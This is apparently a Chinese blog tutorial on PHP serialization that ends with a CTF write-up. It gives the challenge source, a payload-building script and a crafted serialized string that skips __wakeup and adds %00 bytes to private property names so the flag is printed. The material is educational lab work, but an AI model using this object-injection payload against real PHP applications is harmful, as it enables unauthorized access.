当前位置: 首页 > article >正文

WEB安全-CTF中的PHP反序列化漏洞

 

什么是序列化?

简单来说序列化是将数组或对象转换成字符串的过程,这样的好处是利于对象存储与传输,在PHP中,序列化函数是serialize(),反序列化是unserialize()

无类序列化

无类序列化顾名思义就是不包含class的序列化,什么意思呢?来看一个php例子

<?php  $test = 'hello world';echo serialize($test);
?>

以上代码输出为:

s:11:"hello world";

在这个例子中不包含class,变量test是一个字符串,其中serialize函数对这个字符串进行序列化,结果是:s:11:"hello world";

其中s表示这个是一个字符串类型,11表示字符串的长度

有类序列化

有类序列化顾名思义是php代码中包含class的对象进行序列化,那么什么是类?

类是一种数据结构,用来描述数据以及数据上的操作,什么意思?

比如我要存储我的年龄只需要在php中给定一个变量然后赋予这个变量值,那么我就实现了存储我的年龄,那么如果我要存储一个学生,那我应该用什么类型呢?int整型?string字符串?也不对,所以,这个时候php语言提供了一种自定义的数据类型可以存储多个基本数据类型,这个自定义的数据类型就叫做类。

那么这个学生可以吃、喝、学习等人类的行为,在php语言中,可以给这个类赋予这些行为,那么这个行为就叫做方法。

php学生类的实现代码:

<?php  class student {public $name = "张三";  //姓名public $age = 18;   //年龄public $grade = 90; //成绩//学生的吃行为方法public function eat() {echo "student eat";}//学生的喝行为方法public function drink() {echo "student drink";}//学生的学习行为方法public function study() {echo "student study";}}//创建一个学生对象$student1 = new student();//序列化对象echo serialize($student1);?>

如何创建出一个学生呢?只需要在php中new一个对象即可

//创建一个学生对象
new student();

 那么我们使用一个变量来存储这个对象,然后对它进行序列化看下结果

//创建一个学生对象
$student1 = new student();
//序列化对象
echo serialize($student1);

以下是运行结果:

O:7:"student":3:{s:4:"name";s:6:"张三";s:3:"age";i:18;s:5:"grade";i:90;}

O        表示这是一个对象

7        表示这个对象的类名长度

student        表示类名

3        表示这个对象有三个属性

{}        内容就是这三个属性的具体描述

s是字符串、4是第一个属性的名称长度,name是属性名,多个属性用;隔开以此类推

i        表示是int整型

什么是反序列化?

顾名思义,反序列化就是序列化的相反操作,将字符串还原成对象,在php中使用unserialize函数

<?php  class student {public $name = "张三";  //姓名public $age = 18;   //年龄public $grade = 90; //成绩//学生的吃行为方法public function eat() {echo "student eat";}//学生的喝行为方法public function drink() {echo "student drink";}//学生的学习行为方法public function study() {echo "student study";}}//创建一个学生对象$student1 = new student();//序列化对象$result = serialize($student1);//反序列化对象$student2 = unserialize($result);//输出这个对象的name属性的值echo $student2->name;
?>

运行结果:

张三

CTF实战

题目:[极客大挑战 2019]PHP 1

开启环境,打开页面

打开页面根据提示,网站存在源码备份文件,尝试几个文件名进行访问,发现www.zip文件可以访问,访问下载得到这些文件:

第一眼打开flag.php文件发现不是真实的flag,当然也不可能这么简单

这时候打开index.php文件查看,在37-40行才是重点

include函数包含了flag.php文件,猜测真实的flag存在flag.php文件中

select变量是同个get方法传入select的值获得,然后将我们传入的值进行反序列化

我们再打开class.php文件查看

这里也incule包含了flag.php,然后这里有一个Name的类,有两个私有属性分别是username和password

然后在__wakeup的苏醒函数发现将username的属性值设置为guest,wakeup是一个苏醒函数,就是在反序列化时会自动触发的方法

然后在__destruct的析构函数中,如果password的值不等于100就会退出程序,username的值为admin就会输出flag

<?php
include 'flag.php';
error_reporting(0);class Name{private $username = 'nonono';private $password = 'yesyes';public function __construct($username,$password){$this->username = $username;$this->password = $password;}function __wakeup(){$this->username = 'guest';}function __destruct(){if ($this->password != 100) {echo "</br>NO!!!hacker!!!</br>";echo "You name is: ";echo $this->username;echo "</br>";echo "You password is: ";echo $this->password;echo "</br>";die();}if ($this->username === 'admin') {global $flag;echo $flag;}else{echo "</br>hello my friend~~</br>sorry i can't give you the flag!";die();}}
}
?>

那么我们的解题思路就是构造一个序列化字符串,然后让username的值为admin并且password的值为100就可以得到flag

根据解题思路写出解题代码:

<?phpclass Name{private $username;private $password;public function __construct($username,$password){$this->username = $username;$this->password = $password;}
}$answer = new Name("admin",100);
echo serialize($answer);
?>

然后运行代码得到反序列化字符串:

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

但是这里存在一个问题,那就是有__wakeup的苏醒函数存在,我们进行反序列化时他强制将username的值设置为guest,那么我们得绕过这个函数,这里引申出一个绕过方法:

当传入的反序列化字符串中的属性个数>实际属性个数时就不会除法这个方法,因此将上述反序列化字符串的属性数量修改为>2即可:

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

还有一个问题,因为这里Name类的属性都是私有属性,在序列化时会将属性名的前面添加类名,从而使得username的属性名变为Nameusername,其中Name类名的前后均存在\0的不可见字符用于区分类名和属性名,但是我们在浏览器传入的时候这个不可见字符会变为不存在,因此需要在Name前后都添加一个%00,得到:

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

然后通过get传入select参数就行:

 

相关文章:

WEB安全-CTF中的PHP反序列化漏洞

什么是序列化&#xff1f; 简单来说序列化是将数组或对象转换成字符串的过程&#xff0c;这样的好处是利于对象存储与传输&#xff0c;在PHP中&#xff0c;序列化函数是serialize()&#xff0c;反序列化是unserialize() 无类序列化 无类序列化顾名思义就是不包含class的序列…...

【论文阅读】Co2l: Contrastive continual learning

原文链接&#xff1a;[2106.14413] Co$^2$L: Contrastive Continual Learning 阅读本文前&#xff0c;需要对持续学习的基本概念以及面临的问题有大致了解&#xff0c;可参考综述&#xff1a; Wang L, Zhang X, Su H, et al. A comprehensive survey of continual learning: …...

OpenMCU(五):STM32F103时钟树初始化分析

概述 本文主要描述了STM32F103初始化过程系统时钟的初始化,主要描述了系统时钟的初始化&#xff0c;AHB总线时钟&#xff0c;APB总线时钟等的初始化。 硬件板卡3d图 时钟树 STM32F103的时钟树&#xff0c;如下所示: 时钟源选择 从STM32F103的时钟树框图&#xff0c;我们可以…...

ISIS报文

IS-IS 报文 目录 IS-IS 报文 一、报文类型与功能 二、报文结构解析 三、核心功能特性 四、典型应用场景 五、抓包数据分析 六、总结 IS-IS&#xff08;中间系统到中间系统&#xff09;协议报文是用于链路状态路由协议中网络设备间交换路由信息的关键载体&#xff0c;其设…...

【Android】BluetoothSocket.connect () 的实现与协议栈交互源码解析

本文以 Android 蓝牙框架中的BluetoothSocket.connect()方法为切入点,深入剖析 Android 设备与远程蓝牙设备建立连接的全流程。从 Java 层的 API 调用出发,逐步追踪至 JNI 层的接口转发,最终进入 Buedroid 协议栈(RFCOMM/L2CAP 层),揭示蓝牙连接的核心机制。重点解析了权…...

首屏加载时间优化解决

&#x1f916; 作者简介&#xff1a;水煮白菜王&#xff08;juejin/csdn同名&#xff09; &#xff0c;一位前端劝退师 &#x1f47b; &#x1f440; 文章专栏&#xff1a; 高德AMap专栏 &#xff0c;记录一下平时学习在博客写作中记录&#xff0c;总结出的一些开发技巧✍。 感…...

RabbitMQ--延迟队列事务消息分发

目录 1.延迟队列 1.1应用场景 1.2利用TTL死信队列模拟延迟队列存在的问题 1.3延迟队列插件 1.4常见面试题 2.事务 2.1配置事务管理器 3.消息分发 3.1概念 3.2应用场景 3.2.1限流 3.2.2负载均衡 1.延迟队列 延迟队列(Delayed Queue)&#xff0c;即消息被发送以后, 并…...

Linux服务器组建与管理

#!/bin/bash #判断是否是root用户if [ "$USER" ! "root" ]; then echo "不是root用户&#xff0c;无法进行安装操作" exit 1 fi#关闭防火墙systemctl stop firewalld && systemctl disable firewalld && echo "防火墙已经关…...

程序化广告行业(48/89):DSP与外部平台对接的关键要点解析

程序化广告行业&#xff08;48/89&#xff09;&#xff1a;DSP与外部平台对接的关键要点解析 大家好&#xff01;在之前的博客中&#xff0c;我们逐步深入了解了程序化广告行业的诸多知识。一直以来&#xff0c;我都希望能和大家一起在这个领域探索&#xff0c;不断进步&#…...

设计模式 Day 2:工厂方法模式(Factory Method Pattern)详解

继 Day 1 学习了单例模式之后&#xff0c;今天我们继续深入对象创建型设计模式——工厂方法模式&#xff08;Factory Method&#xff09;。工厂方法模式为对象创建提供了更大的灵活性和扩展性&#xff0c;是实际开发中使用频率极高的一种设计模式。 一方面&#xff0c;我们将简…...

自动驾驶浪潮下,HMI 设计如何保障安全与便捷?

自动驾驶系统与 HMI 设计的关联性 自动驾驶系统涵盖了一系列复杂的传感器技术、算法以及执行机构。从激光雷达、摄像头等环境感知传感器&#xff0c;到用于处理海量数据的人工智能算法&#xff0c;再到控制车辆行驶的动力与转向执行系统&#xff0c;各部分协同工作&#xff0c…...

瑞昱RTD2556QR显示器驱动芯片

一、概述 RTD2556QR芯片是由Realtek公司精心研发的一款高性能显示驱动芯片&#xff0c;专为满足现代显示设备对高分辨率、多功能接口及稳定性能的需求而设计。该芯片凭借其卓越的技术特性和广泛的应用领域&#xff0c;在显示驱动市场中占据重要地位。它集成了多种先进的功能模…...

复合缩放EfficientNet原理详解

1. 为什么复合缩放更高效&#xff1f; &#xff08;1&#xff09;单维度缩放的瓶颈 增加深度&#xff08;层数&#xff09;&#xff1a; 更深的网络可以学习更复杂特征&#xff0c;但容易导致梯度消失/爆炸问题&#xff0c;且计算量随深度线性增长。 问题&#xff1a;深层网络…...

线程等待与唤醒的几种方法与注意事项

写在前面&#xff1a;无论是调用哪种等待和唤醒的方法&#xff0c;都必须是当前线程所持有的对象&#xff0c;否则会导致 java.lang.IllegalMonitorStateException 等并发安全问题。 以三个线程循环打印 XYZ 为例。 一、方法 1.1 Object 对象锁 可以通过 synchronized 对方…...

rustdesk 客户端使用

配置中继服务器 RustDesk 搭建-CSDN博客 配置客户端&#xff0c;服务端&#xff08;控制方&#xff0c;被控方&#xff09; 1.下载rustdesk.exe(windows为例) 2.完成后如下 3.配置...

react+antd封装一个可回车自定义option的select并且与某些内容相互禁用

需求背景 一个select框 现在要求可多选 并且原有一个any的选项 其他选项为输入后回车自己增加 若选择了any 则其他选项不可选择反之选择其他选项any不可选择 并且回车新增时也不可直接加入到选中数组只加入到option内 并且不可重复添加新内容 实现过程 <Form.Item …...

碳化硅 MOSFET三相逆变电路损耗新算法

基 于 碳 化 硅 MOSFET三相逆变电路损耗新算法 摘 要 提出了一种三相逆变电路功率开关器件损耗计算的新方法.为了达到将高频电力电子电路和实时仿真算 法 相 结 合 应 用 于 嵌 入 式 实 时 仿 真 平 台 的 目 的 &#xff0c;针 对 工 程 应 用 中 逆 变 器 损 耗 计 算 的 实…...

增加等IO状态的唤醒堆栈打印及缺页异常导致iowait分析

一、背景 在之前的博客 在计算进程D状态持续时间及等IO的时间遇到的一处问题-CSDN博客 里&#xff0c;我们修复了一处在抓取D状态及等IO状态堆栈的监控程序的一处时间计算bug&#xff0c;在这篇博客里&#xff0c;我们进一步丰富监控程序&#xff0c;在进程iodelay被唤醒时&am…...

nodejs:midi-writer-js 将基金净值数据转换为 midi 文件

开放式基金是没有公布每日交易量的。 /funds/data/660008.csv 文件开头&#xff1a; date,jz,ljjz 2016-01-04,1.1141,1.1141 2016-01-05,1.1161,1.1161 2016-01-06,1.1350,1.1350 这是一个将开放式基金数据转换为 MIDI音乐的 js 程序示例。该程序将基金净值映射为 MIDI音符的…...

新能源汽车空调系统(R134A)性能评估(一)

国内外主流空调系统厂家&#xff1a;贝尔、德尔福、空调国际、法雷奥、电装、松芝、杰信、新电、豫新等 泛亚汽车的空调电子部是比较优秀的整车空调研发团队。 空调系统综合试验台架是一套由试验室、风量测定装置、空气调和器、空气温度测定装置、湿度测定装置、加热器试验辅助…...

Oracle 数据库中优化 INSERT INTO 操作的性能

在 Oracle 数据库中优化 INSERT INTO 操作的性能&#xff0c;尤其是在处理大批量数据时&#xff0c;可以通过以下方法显著提升效率。 使用直接路径插入&#xff08;Direct-Path Insert&#xff09; 通过 APPEND 提示绕过缓冲区缓存&#xff0c;直接写入数据文件&#xff0c;减…...

Ubuntu 22.04安装MongoDB:GLM4模型对话数据收集与微调教程

在Ubuntu 22.04安装MongoDB Community Edition的教程请点击下方链接进行参考&#xff1a; 点击这里获取MongoDB Community Edition安装教程 今天将为大家带来如何微调GLM4模型并连接数据库进行对话的教程。快跟着小编一起试试吧~ 1. 大模型 ChatGLM4 微调步骤 1.1 从 github…...

Java 中的继承与多态:面向对象编程的核心特性

继承和多态是面向对象编程中最重要的两个概念&#xff0c;它们使代码结构更加清晰、灵活&#xff0c;并极大地提高了代码复用性。本文将深入探讨 Java 中的继承与多态&#xff0c;帮助你更好地理解这些核心概念。 1. 继承 1.1 为什么需要继承 在实际编程中&#xff0c;我们经…...

可编程增益放大器(PGA)在智能传感器自调节系统中的角色

在电子电路设计中&#xff0c;放大器芯片作为信号处理的核心器件&#xff0c;其性能直接影响系统整体表现。然而面对运算放大器、功率放大器、仪表放大器等众多类型&#xff0c;工程师常陷入选型困惑。作为国内领先的半导体解决方案提供商&#xff0c;华芯邦深耕放大器芯片领域…...

微信登录、商品浏览前瞻

一.业务效果 二.所需技术...

浙大研究团队揭示电场调控5-HT1AR的分子机制

本期介绍的文章题为 “Structural Insight into the Inactive/Active States of 5‑HT1AR and Molecular Mechanisms of Electric Fields in Modulating 5‑HT1AR” 。近期发表于JCIM。通过分子动力学模拟&#xff0c;探究 5-羟色胺 1A 受体(5-HT1AR) 在非活性 / 活性状态的构象…...

RoboOS与RoboBrain:引领具身智能新时代的跨本体协作框架

摘要 2025年3月29日&#xff0c;智源研究院在中关村论坛的“未来人工智能先锋论坛”上发布了两项重要成果&#xff1a;跨本体具身大小脑协作框架RoboOS与开源具身大脑RoboBrain。这一创新技术使机器人能够实现跨场景多任务部署及跨本体协作&#xff0c;推动单机智能向群体智能…...

视频AI赋能水利行业生态治理,水电站大坝漂浮物实时监测与智能预警方案

水电站大坝周边水域垃圾漂浮物不仅影响水质&#xff0c;还可能对大坝设施运行、水生态环境造成威胁。传统依靠人工巡检的方式效率低、存在监测盲区&#xff0c;难以实时全面地掌握漂浮物情况。借助EasyCVR视频汇聚平台与TSINGSEE青犀AI算法中台构建智能化监测方案&#xff0c;能…...

SnapdragonCamera骁龙相机源码解析

骁龙相机是高通开发的一个测试系统摄像头的demo&#xff0c;代码完善&#xff0c;功能强大。可以配合Camera驱动进行功能联调。 很多逻辑代码在CaptureModule.java里。 CaptureModule有8000多行&#xff0c;包罗万象。 涉及到界面显示要结合CaptureUI.java 一起来实现。 Ca…...

Spring Boot 整合 RabbitMQ:注解声明队列与交换机详解

RabbitMQ 作为一款高性能的消息中间件&#xff0c;在分布式系统中广泛应用。Spring Boot 通过 spring-boot-starter-amqp 提供了对 RabbitMQ 的无缝集成&#xff0c;开发者可以借助注解快速声明队列、交换机及绑定规则&#xff0c;极大简化了配置流程。本文将通过代码示例和原理…...